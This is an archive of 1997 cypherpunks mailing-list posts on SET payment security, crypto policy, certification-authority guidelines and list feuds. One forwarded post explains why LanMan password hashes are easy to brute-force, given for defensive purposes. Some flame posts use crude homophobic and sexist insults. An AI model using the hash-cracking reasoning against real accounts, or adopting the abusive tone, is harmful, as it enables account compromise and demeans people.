| From: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
| To: Multiple recipients of <e$@thumper.vmeng.com>

|   	 ATLANTA, April 9 (Reuter) - The new security protocol for

|   	 Steve Mott, senior vice president of electronic commerce
|   and new ventures for MasterCard International, said it could
|   take hackers as little as a year to break the industry's
|   standard encryption code, which is supposed to render
|   credit-card numbers unreadable to outsiders on the Internet's
|   World Wide Web.

	The security problem with SET is not its crypto, but its
complexity, which makes it impossible to determine if the thing is
secure or not.  Its also a nightmare to implement, and was supposed to
be ready six months ago.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:46 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Information Systems Security Board
Message-ID: <01BC45CF.1CE02650@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




"John Young" <jya@pipeline.com> wrote in article <5iil75$n93@life.ai.mit.edu>...
> On December 13, 1996, representatives from The National 
> Information Infrastructure (NII) Task Force of The President's 
> National Security Telecommunications Advisory Committee
> (NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. 
> to discuss industry interest in developing an industry-run 
> Information Systems Security Board (ISSB). 
> 
> Stewart Baker of Steptoe & Johnson discussed the antitrust laws 
> and their application to the meeting, with particular emphasis on 
> the need to avoid discussion of competitive conditions and to show
> openness to all interested participants. 


I would consider such a proposal from Suart Baker to involve an unfortunate conflict of interest. As one of the people who makes his living as a fixer enabling people to comply with the export control laws he does not have an interest in pressing for reform of the anti-crypto regulations that stop computer security sdystems being used.

He is like the owner of a NYC taxi medallion. His 'property' has no legitimate value but he has an interest to continue the legal distortions that keep it in place.

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:50 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
Message-ID: <01BC45CF.1E139D40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >Nothing personal. I just get tired of hearing about "story angles" and
> >"columns." Frankly, the only people I want to communicate with are those
> >who take the time to read this and related lists....the sheeple who read
> >about the Net in Time and Newsweek and their ilk are not worth
> >communicating with. They will be spaded under.
> 
> But what if Declan were writing for the Economist...


I have a lot more respect for Duncan's style than certain Economist articles.

A case in point was a little hatchet job some journo-hack did on Sorros' piece on the open society in the Atlantic monthly. I consider that Sorros has demopnstrated empirically a knowledge of markets that few economists and no journalists can claim to match yet the economist decided to have a go at him.

In any case since the piece was principally about political philosophy the Economist interpretation was plain wrong. 

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 10 Apr 1997 13:16:29 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s (fwd)
Message-ID: <Pine.SUN.3.91.970410161833.29636C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 18:10:04 +0000
From: Alan C. Ramsbottom <acr@als.co.uk>
To: Jos Visser <josv@osp.nl>
Cc: ntsecurity@iss.net
Subject: Re: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s

> I am currently reviewing the write-up to include the newest 
> relevant information.I had considered the possibility that you could
> brute-force attack the password space. However, the possible number
> of passwords is quite bi. Let us assume that the average password
> contains about 40 bits of information, the entie plausible passowrd
> space then is 2^40 = 1099511627776 possible passwords. Suppose you
> could hash and store 1,000,000 passwords each secondthe brute-force
> approach takes more then 12 days to calculate and requires about
> 16 GB diskspace to store the results (uncompressed).
> 
> Could you please point me the errors in my calculations so I can fix
> the article asap?

Certainly..

Theoretically, for a "complete" brute-force attack on the DES hashes 
we need to consider a 56 bit ( 7 chars x 8 bits) password space. This 
space is the maximum we have to worry about because of the 14 char 
password to two independent 7 char DES keys split. The timing 
overheads of checking both the 8 char hashes during a brute-force 
attack are relatively trivial.

Now the crunch. Theory is fine, but in the real world there are 
constraints on the password space - in reality it gets much 
smaller e.g. 

  1) chars below 0x20 can't be entered in the password dialogue box 

  2) alphas are uppercased prior to being used as DES keys so you 
     can also ignore 0x61 to 0x7A. Correcting the case of any alphas 
     after finding a LanMan password is a quick and relatively 
     trivial task using MD4.

That much is guaranteed even if you (reasonably in 99.99% of cases) 
start throwing away characters that are difficult to quickly enter on 
a keyboard e.g. anything that needs an ALT-0-nnn sequence to enter 
(more or less everything above 0x80 subject to country).

Finally 3-4Gb disks are now relatively inexpensive so the amount of 
diskspace required for a precomputed attack is not much of an 
obstacle. It has been also been suggested that if you are short of 
diskspace you could always keep sequentially sorted sections of the 
precomputed file on a backup tape. Then, as you mention above there 
is compression. 

My main point is that you don't need an exceptionally fast machine or 
impossible amount of disk space. If I can write code to do this then 
you can guarantee that other people have, and that theirs is both 
cleverer and runs faster ;-)

"Greater password complexity" is a good idea for many reasons but 
not much help in this specific case. The LanMan hashes are simply 
far too easy to attack and you should concentrate your defences in 
preventing access to them. 

Finally, we need to put this in proper perspective - this attack and 
the associated IE 3.0 SMB and NTLM problems can EASILY BE AVOIDED 
with a few simple network administration policies.

--Alan--
acr@als.co.uk

PS. Haven't seen my original message turn up on NTSecurity yet so I 
    don't suppose this will.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 10 Apr 1997 14:15:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [PGP-USERS] BestCryp NP
Message-ID: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: GWNapier@aol.com
>Date: Thu, 10 Apr 1997 16:11:41 -0400 (EDT)
>To: pgp-users@rivertown.net
>Resent-Message-ID: <"h3W-hD.A.rVC.jmUTz"@rivertown>
>Reply-To: pgp-users@rivertown.net
>
>To Fred and His Question About BestCrypt NP.  I received this today and
>thought it might be of interest.
>
>>Someone asked on the list about the possibility to transparently access
>>encrypted data on a CD. SFS doesn't allow this, but I yesterday found
>>a software for Windows 95 that does.
>
>>BestCrypt NP costs $115, the home page is www.jetico.sci.fi.
>>They even have our Mr Peter Gutmann on their credits list. BestCrypt
>>supports BlowFish, DES (boo) and GOST, a russian standard with 
>>256bit key. It supports all fixed, removable or networked media,
>>allowing upto 6 "containers" be open simultaneously.
>
>>Although the company seems like Finnish, they don't speak Finnish and
>>I don't get even a discount for telling you this :) Just thought some
>>of you might be interested.
>
>>Jyrki Petsalo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 10 Apr 1997 14:19:26 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Pilots saw missile over NY
Message-ID: <3.0.1.32.19970410172005.007efea0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

April 10, 1997
Web posted at: 9:22 a.m. EDT (1322 GMT) 

ST. PAUL, Minnesota (Reuters) -- Northwest Airlines pilots
reported that they saw what appeared to be a missile or a rocket
over the New York area the evening of March 17, the Saint Paul
Pioneer Press reported Thursday. 

In a copyrighted story, the Pioneer Press reported that
investigators are piecing together tapes of air traffic control radar
recorded the night of the sightings....

http://cnn.com/US/9704/10/missile.reut/index.html 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

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BR1C0pLjZ1Y=
=nd+d
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 14:23:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato Institute report on Clinton's sad constitutional record
Message-ID: <v03007808af730ad54c95@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Thu, 10 Apr 1997 16:57:56 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: Cato Institute report on Clinton's sad constitutional record
>Cc:
>Bcc:
>X-Attachments:
>
>In yesterday's mail I found a copy of a Cato Institute policy analysis by
>Tim Lynch called "Dereliction of Duty: The Constitutional Record of
>President Clinton." It's damming. Lynch lays bare Clinton's two-faced,
>arrogant, downright hostile attitude towards civil liberties and, in a
>word, freedom.
>
>Lynch concludes: "If constitutional report cards were handed out to
>presidents, Bill Clinton would certainly receive an F--an appalling grade
>for any president--let alone a former professor of constitutional law."
>I've attached a few excerpts below.
>
>Also, in today's mail came a new book put out by Cato, "The Future of
>Money in the Information Age," edited by James Dorn. I haven't read it
>yet, but it looks promising.
>
>-Declan
>
>-----------------------------
>
>http://www.cato.org/pubs/pas/pa-271es.html
>
>DERELICTION OF DUTY
>The Constitutional Record of President Clinton
>
>by Timothy Lynch
>
>Timothy Lynch is assistant director of the Cato
>Institute's Center for Constitutional Studies.
>
>*********
>
>Executive Summary
>
>President Clinton recently put his hand on the Bible
>and swore an oath to "preserve, protect and defend the
>Constitution of the United States." He took the same
>oath in January 1993. As the president embarks on his
>second term in office, it is an appropriate time to
>review his record thus far to see how well he has
>defended our Constitution.
>
>Although President Clinton has expressed support for
>an "expansive" view of the Constitution and the Bill
>of Rights, he has actually weakened a number of
>fundamental guarantees, including those of free speech
>and the right to trial by jury and that against double
>jeopardy. He has also supported retroactive taxes, gun
>control, and warrantless searches and seizures. The
>president's legal team is constantly pushing for
>judicial rulings that will sanction expansions of
>federal power. The Clinton White House has, for
>example, supported the federalization of health care,
>crime fighting, environmental protection, and
>education. Clinton also claims constitutional
>authority to order military attacks against other
>countries whenever he deems it appropriate. President
>Clinton's record is, in a word, deplorable. If
>constitutional report cards were handed out to
>presidents, he would receive an F.
>
>It is to be hoped that President Clinton will resolve
>to be more conscientious about his constitutional
>responsibilities in his second term. But should his
>dereliction of duty continue, Congress and the Supreme
>Court should stand fast against any constitutional
>transgression. In the present climate, it is vitally
>important for all Americans to understand that the
>Constitution is incapable of enforcing itself. That
>task ultimately rests with the citizenry. If the
>American people demand adherence to the Constitution,
>government officials, including President Clinton,
>will respect the limitations that were wisely placed
>on their power.
>
>*********
>
>
>The Free Speech Clause
>
>The free speech clause of the First Amendment is,
>without a doubt, the most famous provision of the
>American Constitution. Its simple, yet profound,
>command provides: "Congress shall pass no law . . .
>abridging the freedom of speech." The underlying
>principle of the free speech clause is that "each
>person should decide for him or herself the ideas and
>beliefs deserving of expression, consideration, and
>adherence." [9] That principle has been recognized as
>"one of the preeminent rights of Western democratic
>theory, the touchstone of individual liberty." [10]
>The invocation of the free speech guarantee, however,
>is often controversial because it requires the
>government and the citizenry to tolerate the speech
>and writings of unpopular, crude, ignorant, and
>malicious people. Civil libertarians must often remind
>government officials (and others) that if the First
>Amendment only protected the expression of popular and
>agreeable ideas, it would be totally unnecessary since
>those ideas would never be threatened by our
>democratic form of government. Our society's
>commitment to free speech is tested when we encounter
>the expression of ideas that are disagreeable--or even
>offensive.
>
>One would think that President Clinton, a former
>professor of constitutional law, would have a deep
>appreciation for the principle of freedom of speech,
>but his official actions in office show just the
>opposite. The Clinton Justice Department has attempted
>to censor (a) the rights of peaceful protesters; (b)
>the views of priests and doctors; (c) radio,
>television, and the Internet; and (d) truthful
>advertisements for lawful products.
>
>[...]
>
>The Ex Post Facto Clause
>
>The Framers of the Constitution detested the idea of
>retroactive legislation. The Constitution contains two
>specific prohibitions against ex post facto laws:
>Article I, section 9, addresses Congress: "No . . . ex
>post facto Law shall be passed." Article I, section
>10, addresses state officials: "No State shall pass
>any ex post facto Law." The Constitution contains no
>exception to either prohibition. As Professor William
>Winslow Crosskey of the University of Chicago once
>observed, it is evident that ex post facto laws "were
>thoroughly disapproved by the framers of the
>Constitution and intended by them to be completely
>impossible under our system." [44]
>
>Not only has President Clinton failed to defend the
>prohibition of ex post facto laws; he encouraged the
>103rd Congress to violate the prohibition. In the
>summer of 1993 he urged Congress to levy a retroactive
>tax on the American people. Under the president's
>initial budget plan, income, corporate, gift, and
>estate taxes were to be increased retroactively to
>January 1, 1993--20 days before the president assumed
>office. Never before in American history had a tax
>been made retroactive to the time of a prior
>administration.
>
>[...]
>
>The Warrant Clause
>
>The warrant clause of the Fourth Amendment, specifying
>the conditions that must be met before officials may
>search a person's home or seize papers and effects,
>provides: "no [search] Warrants shall issue, but upon
>probable cause, supported by Oath or affirmation, and
>particularly describing the place to be searched, and
>the person or things to be seized." The warrant clause
>protects the citizenry from arbitrary searches by
>requiring law enforcement personnel to obtain judicial
>authorization before they demand entrance to any
>person's home. The Supreme Court described the
>constitutional importance of the warrant application
>process in McDonald v. United States (1948).
>
>The presence of a search warrant serves a high
>function. Absent some grave emergency, the Fourth
>Amendment has interposed a magistrate between the
>citizen and the police. This was done not to shield
>criminals nor to make the home a safe haven for
>illegal activities. It was done so that an objective
>mind might weigh the need to invade that privacy in
>order to enforce the law. The right of privacy was
>deemed too precious to entrust to the discretion of
>those whose job is the detection and the arrest of
>criminals. Power is a heady thing; and history shows
>that the police acting on their own cannot be trusted.
>And so the Constitution requires a magistrate to pass
>on the desires of the police before they violate the
>privacy of the home. [50]
>
>The Clinton administration has repeatedly attempted to
>play down the significance of the warrant clause. In
>fact, President Clinton has asserted the power to
>conduct warrantless searches, warrantless drug testing
>of public school students, and warrantless
>wiretapping.
>
>Warrantless "National Security" Searches
>
>The Clinton administration claims that it can bypass
>the warrant clause for "national security" purposes.
>In July 1994 Deputy Attorney General Jamie S. Gorelick
>told the House Select Committee on Intelligence that
>the president "has inherent authority to conduct
>warrantless searches for foreign intelligence
>purposes." [51] According to Gorelick, the president
>(or his attorney general) need only satisfy himself
>that an American is working in conjunction with a
>foreign power before a search can take place.
>
>[...]
>
>Constitutional Federalism
>
>President Clinton is the first president in American
>history to deny that the Constitution limits the
>powers of the federal government. The Clinton White
>House has sought to federalize health care, crime
>fighting, environmental protection, and education. It
>has also tried to thwart any effort to downsize
>federal agencies and programs. Although the Washington
>press corps has dutifully scrutinized the fledgling
>efforts of the 104th Congress to breathe life into the
>Tenth Amendment of the Constitution, which affirms
>that the federal government has only limited powers,
>the president's efforts to expand federal power have
>received scant attention from a Tenth Amendment
>perspective. By his official conduct as president,
>Clinton has made it clear that he believes there is no
>area of human activity that is beyond the
>redistributive or regulatory reach of the federal
>government and that the state governments essentially
>operate at the sufferance of the national government.
>Such a view contravenes the text, history, and
>structure of our Constitution.
>
>[...]
>
>Conclusion
>
>As his first term of office drew to a close, Bill
>Clinton proclaimed, "One of my highest goals as
>President has been . . . to protect and uphold the
>Constitution." [161] In light of the evidence set
>forth in this study, it seems obvious that that
>statement was simply a platitudinous throwaway line
>that was completely devoid of substance.
>
>Supporters of the Clinton White House can point with
>pride to a handful of presidential actions in defense
>of constitutional rights--such as the signing of the
>Religious Freedom Restoration Act and the Justice
>Department's lawsuit against the Virginia Military
>Institute on behalf of gender equality [162]--but
>those acts were exceptions to the rule. Indeed, some
>constitutionalists and civil liberties attorneys might
>very well claim that this study does not go far enough
>in its criticisms of the Clinton record. [163]
>Although this study is not an exhaustive account of
>every presidential action over the last four years, it
>does present overwhelming evidence that Clinton has
>been derelict in his duty to "protect and preserve"
>our Constitution. If constitutional report cards were
>handed out to presidents, Bill Clinton would certainly
>receive an F--an appalling grade for any
>president--let alone a former professor of
>constitutional law.
>
>Perhaps Clinton will resolve to be more conscientious
>about his constitutional responsibilities in his
>second term. One can only hope that he will. But
>should his dereliction of duty continue, Congress and
>the Supreme Court should stand fast against any
>constitutional transgression.
>
>All three branches of government--executive,
>legislative, and judicial--should strive to be more
>conscientious about meeting the responsibilities that
>have been assigned to them under the Constitution.
>Constitutional violations are frequently temporary,
>isolated events. The most serious constitutional
>violations occur when all three branches conspire to
>expand the bounds of government power. When that
>happens, it becomes very difficult to right the wrong.
>Precedents are extremely important. That is why any
>constitutional transgression by any branch is
>alarming.
>
>The American people should jealously guard their
>liberty and hold all government officials accountable
>when they neglect or disregard the Constitution. Its
>Framers were keenly aware that the ultimate source of
>the Constitution's authority is the consent of the
>people. If the American electorate demands adherence
>to the Bill of Rights and the other provisions of our
>Constitution, government officials will respect the
>constitutional limitations on their power. But, as
>Judge Learned Hand warned many years ago, "Liberty
>lies in the hearts of men and women; [if] it dies
>there, no constitution, no law, no court can save it."
>[164]
>
>###
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 10 Apr 1997 15:44:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Japan E-Commerce Promotion Council on CAs
Message-ID: <v03020947af731c77d8dd@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Thu, 10 Apr 1997 11:44:59 -0700
From: jmuller@brobeck.com (John D. Muller)
Subject: Japan E-Commerce Promotion Council on CAs
To: dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: jmuller@brobeck.com (John D. Muller)

     Press release
     Announcement of Certification Authority Guidelines in Japan
     ----------------------------------------------------------------------
     --
     Full Document
     7th, April, 1997
     Electronic Commerce Promotion Council of Japan


     ----------------------------------------------------------------------
     --


     1. Background

     The Electronic Commerce Promotion Project partially funded by the
     Japanese government was started In late 1995 . The project consists of
     19 test-bed projects which experimentally provide various kinds of
     electronic commerce between consumers and businesses. Currently over
     350 companies participate in the projects and more than 500,000
     consumers are presumed to have join. To foster Electronic Commerce(EC)
     in Japan, and also to support and coordinate these projects, the
     Electronic Commerce Promotion Council of Japan (ECOM) was established
     in early 1996. ECOM has set up 14 Working Groups to study a wide range
     of EC related issues. One of these Working Groups is the Certification
     Authority(CA) Working Group which focuses on the technology, practice,
     and legal environment of CA. One of objectives of this CA Working
     Group is to develop the CA Guidelines. The primary draft of the
     Guidelines was made public in the December 1996.

     2. Objectives of the CA Guidelines

     CA Guidelines provide the foundation for the operation of CAs which
     issue digital certificates. A digital certificate, which
     electronically verifies the identity of business parties during
     network transactions, will play an important role in electronic
     commerce conducted via open networks. Digital certification guarantees
     the security of transaction information transmitted through networks,
     and information transmitted between organizations, within
     organizations and between individuals, by eliminating problems such as
     wiretapping, tampering or repudiation. This fosters the reliance and
     trust required to conduct business.

     3. Structure of the CA Guidelines(Alpha Version)

     (1) Introduction

     This section first defines the basic terminology related to CAs, such
     as public keys, certificates, and revocation of certificates, etc. The
     section then deals with the following subjects concerning public key
     infrastructure, which can be regarded as the technological foundation
     of the guidelines:

     (1) certificate management service for issuance, publication, and
     storage of certificates, services relating to the registration and
     management of personal information, and electronic notary, etc. (2)
     hierarchical structure of CAs; (3) purpose of use and format of
     certificates.

     (2) Management requirements

     As management requirements are important for increasing the
     reliability of CAs, establishment and publication of policies relating
     to certification, requirements needed by organizations, operational
     security requirements, and information disclosure requirements are
     stipulated. Within the policy arena the establishment and presentation
     of provisions concerning the requirements for secure operation of
     equipment and facilities, and of provisions concerning standards for
     issuance of certificates are discussed. This section also stipulates
     that organizational requirements must specify independence, third
     party character and specialization.

     (3) Service requirements

     This section specifies requirements for guaranteeing security relating
     to five services that constitute the certificate management service,
     which is the basic service of CAs: management of the keys of CAs,
     issuance of certificates, registration and publicizing of
     certificates, storage and management of certificates, and revocation
     of certificates. For example, in view of the serious consequences of
     leakage or theft, private keys of CAs must be stored in an independent
     special module with high storage capacity, and in an environment that
     does not allow illegal removal of the storage module. Auditing of
     certificate issuance are also discussed. The personal verification of
     the applicant must be divided into three levels and that personal
     verifications should be conducted according to these levels.

     (4) Facilities and system requirements

     This section specifies that requirements conform to measures
     classified under group A of the "Information Systems Security Measures
     Standards," which were announced by MITI in August 1995 and the
     instruction manual was published by the Information Service Industry
     Association in October 1996. Group A requirements relate to
     information systems that affect people's lives, the property of
     others, privacy and other social elements.

     4. Forthcoming Schedule

     ECOM is requesting that member companies and other relevant parties
     offer their comments regarding this guidelines draft. At the same
     time, the guidelines will be applied to the electronic commerce
     test-bed projects sponsored by MITI ( Ministry of International Trade
     & Industry), with the results of these test operations to be
     incorporated in the guidelines. The final version, based on opinions
     obtained from various sectors, is scheduled to be prepared and
     announced by March 1998.

     More information
     E-mail: tawara@ecom.or.jp
     FAX : +81-3-5531-0068
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 10 Apr 1997 15:40:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <v03007800af71dffd47b7@[207.167.93.63]>
Message-ID: <Pine.BSD/.3.91.970410182552.5171A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Timothy C. May wrote:

> At 5:55 PM -0400 4/9/97, Alec wrote:
> 
> >At 01:32 PM 4/9/97 -0600, you wrote:
> >|Timothy C. May wrote:
> >|
> >|> Let's not make the Cypherpunks firing squad a circle.
> >|
> >|  Although Tim has been on the rag lately, perhaps this bit
> >|of humor is a sign that his period (pardon the pun) of male
> >|menopause is over.
> >
> >This sort of snide sexist humor has no place here.
> 
> Agreed. Any neutral observer of the Cypherpunks list would have to conclude
> there's a lot of _something_ going on here. Certain posters, whose names
> are well known, seem infatuated with sexual innuendo.

Assuming the source doesn't appear to *believe* that a particular group is
inferior / superior by virtue of genitalia, race, etc.: 

if ($humour eq "distasteful") {
  cat $humour | in_one_ear | out_the_other;
  }
get_on_with_life;

> (And their innuendo is more often than not centered around homosexual themes.)
> 
> Draw your own conclusions. "TruthMonger," for example, seems hung up on--no
> pun intended--frequent repetitions of "bum buddies." Vulis is similarly
> focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos,
> TruthMonger, etc., based on style, is centered on many of these homosexual
> themes.

Just like pre-schoolers are hung up on bathroom jokes <grin>.

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997 16:22:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <01BC45CF.1E139D40@crecy.ai.mit.edu>
Message-ID: <6Twy5D103w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
<doesn't matter what, 3 times>

That's $3 for Sinn F\'ein.  Thank you, Phil.

P.S. Fuck your Queen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 16:31:17 -0700 (PDT)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Checkout the crypto in IE 4.0
Message-ID: <199704102331.TAA11621@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713692.multipart/signed"

--Boundary..3953.1071713692.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>Maybe people have already noticed but the pre-release IE 4.0 has
 >S/MIME encryption and signatures built in. I'm trying to set it up 
>as we speak.

Just found an even more important cypherpunk feature. It has a
kill file feature for both news and mail. Now if we could just get 
them to put Dimitri in as the default it would be fine.

Phill






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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Thu, 10 Apr 1997 17:06:26 -0700 (PDT)
To: cypherpunks@toad.com
Subject: security_1.html
Message-ID: <199704110007.UAA00575@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Digital TV Sets Off High-Definition Race
   Next Story: NTT Data, MCI To Start Internet Roaming Service
     _________________________________________________________________
   
   Thursday April 10 10:03 AM EDT 
   
Internet Security Code Said Vulnerable To Hackers

   By David Morgan
   
   ATLANTA - The new security protocol for safeguarding credit-card
   transactions on the Internet may have to change because the underlying
   cryptography is too easy to hack through and too difficult to upgrade,
   an expert says.
   
   Steve Mott, senior vice president of electronic commerce and new
   ventures for MasterCard International, said it could take hackers as
   little as a year to break the industry's standard encryption code,
   which is supposed to render credit-card numbers unreadable to
   outsiders on the Internet's World Wide Web.
   
   For that reason, the consortium of technology companies and creditors
   that has spent two years developing the Secure Electronic Transaction
   (SET) protocol may switch to a faster encryption system called
   Elliptic Curve, which is produced by Certicom Corp.
   
   The first complete version of SET, known as SET 1.0, will be available
   to software makers June 1 with core cryptography provided by RSA Data
   Security, a unit of Security Dynamics Technologies.
   
   "RSA is a very good starting point. But we suspect that in a year or
   two, the Kevin Mitnicks of the world will start to figure out ways to
   hack it," Mott said. Mitnick is one of the most notorious computer
   hackers.
   
   "The only way you scale an RSA is to add a lot more bits. You add a
   lot more bits and it becomes more complex software in terms of the
   interaction of the transaction messages. That's part of what's taken
   SET so long to start with."
   
   MasterCard has been helping put together merchants with its own member
   banks for SET pilot projects in Denmark, Japan, Taiwan, South Africa
   and the United States.
   
   Mott told a news conference at the Internet Commerce Expo that the
   Elliptic Curve encryption system would make a better encryption core.
   In fact, he said it would have been chosen in the first place if
   developers had been known about it.
   
   "It will fit on a chip card. I think its 160 bits equals security to
   1,024 bits of RSA," the credit industry executive said. "We anticipate
   putting it into some SET 1.0 pilots in the very near future this year
   in the U.S."
   
   Copyright, Reuters Ltd. All rights reserved
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: Digital TV Sets Off High-Definition Race
   Next Story: NTT Data, MCI To Start Internet Roaming Service
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997 18:10:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <Pine.BSD/.3.91.970410182552.5171A-100000@mrburns.iosphere.net>
Message-ID: <5k2y5D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Cynthia H. Brown" <cynthb@sonetis.com> writes:

> On Wed, 9 Apr 1997, Timothy C. May wrote:
>
> > (And their innuendo is more often than not centered around homosexual theme
> >
> > Draw your own conclusions. "TruthMonger," for example, seems hung up on--no
> > pun intended--frequent repetitions of "bum buddies." Vulis is similarly
> > focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos,
> > TruthMonger, etc., based on style, is centered on many of these homosexual
> > themes.
>
> Just like pre-schoolers are hung up on bathroom jokes <grin>.

Hung?

Timmy May claims to have killfiled both myself and Toto. How does he know
what we're writing about? Is he lying again?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <SBN@Microsoft.com>
Date: Thu, 10 Apr 1997 20:54:39 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: Your Site Builder Network Membership!
Message-ID: <c=US%a=_%p=HyperRadix%l=SOPHIA-970411035332Z-194658@sophia.hyperradix.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Site Builder Network - Level 1.

We went to your site(s) and found the Microsoft Internet Explorer logo
and link, so your membership has been upgraded to Level 1.  You now have
access to the Members Only - Level 1 Lounge as well as the Members Only
Download Area.  Please take some time to visit
http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
store for you.  Your ID and password are listed below for your
convenience.

